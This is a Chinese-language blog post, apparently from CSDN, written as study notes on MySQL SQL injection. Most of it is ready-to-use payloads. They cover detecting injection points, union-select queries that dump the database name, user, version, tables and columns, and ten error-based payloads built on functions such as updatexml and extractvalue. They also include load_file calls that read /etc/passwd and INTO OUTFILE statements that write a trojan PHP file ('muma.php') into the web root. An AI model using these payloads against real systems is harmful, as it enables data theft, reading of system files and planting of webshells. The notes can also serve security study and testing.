4.0.13 mysql 注入_SQL注入之MYSQL

SQL注入之MYSQL

总体上先判断是否有注入点(数字型还是字符型)

⽅法⼀:单引号法 '

⽅法⼆:逻辑法 and 1=1 and 1=2 1' and '1'='1 1' and '1'='2

⽅法三:运算法 -1

联合查询

条件:前提是前后查询必须拥有相同数量的列,列也必需拥有相同的数据类型

版本>4.0

当MySQL版本⼤于 5.0时,有个默认数据库information_schema

获取当前数据库和数据库⽤户名

1' union select database(),user() #

获取当前的数据库版本和操作系统

1' union select version(),@@version_compile_os#

1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() %23 报表

1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' %23 爆列

1' union select 1,flag,3,4 from flag %23 字段

报错注入

报错注⼊常⽤的函数

1.floor()

select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);

(原理:主键重复,整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因)

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

(原理:当Xpath路径语法错误时,就会报错)

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

(原理:当Xpath路径语法错误时,就会报错)

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

盲注

布尔型盲注

延时型盲注

目前感觉还是盲注直接sqlmap吧,等理解更透彻再来修改。

Root权限处理

条件:是Root权限

⽹站物理路径(报错、phpinfo页⾯、猜、爆破)

版本:

MySQL 5.5.53前 5.5.53之前的版本是 secure_file_priv 变量默认为空,所以默认情况下是可以直接通过SQL语句来导出⽂件的。

MySQL⾼于5.5 ⾼于5.5时,mysql新出了⼀个 secure-file-priv 字段 : secure-file-priv 参数是⽤来限制LOAD DATA,

SELECT ... > OUTFILE, and LOAD_FILE()传到哪个指定⽬录的。

当 secure_file_priv 的值为null ,表⽰限制mysqld 不允许导⼊|导出

当 secure_file_priv 的值为/tmp/ ,表⽰限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下

当 secure_file_priv 的值没有具体值时,即 '' ,表⽰不对mysqld 的导⼊|导出做限制。

查看 secure-file-priv 参数的值: show global variables like '%secure%'

读文件

load_file() 函数: select load_file('/etc/passwd');

select load_file(0x2F6574632F706173737764);

写文件

INTO OUTFILE函数写⽂件时会在每⼀⾏的结束⾃动加上换⾏符

INTO DUMPFILE函数在写⽂件会保持⽂件得到原⽣内容,这种⽅式对于⼆进制⽂件是最好的选择

select '' into outfile '/var/www/html/muma.php' ;

select '' into DUMPFILE '/var/www/html/muma.php' ;

select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY ''

LINES STARTING BY '写⼊的内容' 设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使⽤任何字符。

LINES TERMINATED BY '写⼊的内容' 设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是"\n"。

eg:php?id=1 and 1=2 union select 1,2,3,4,'',5 into outfile '/var/www/html/1.php' -- a

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值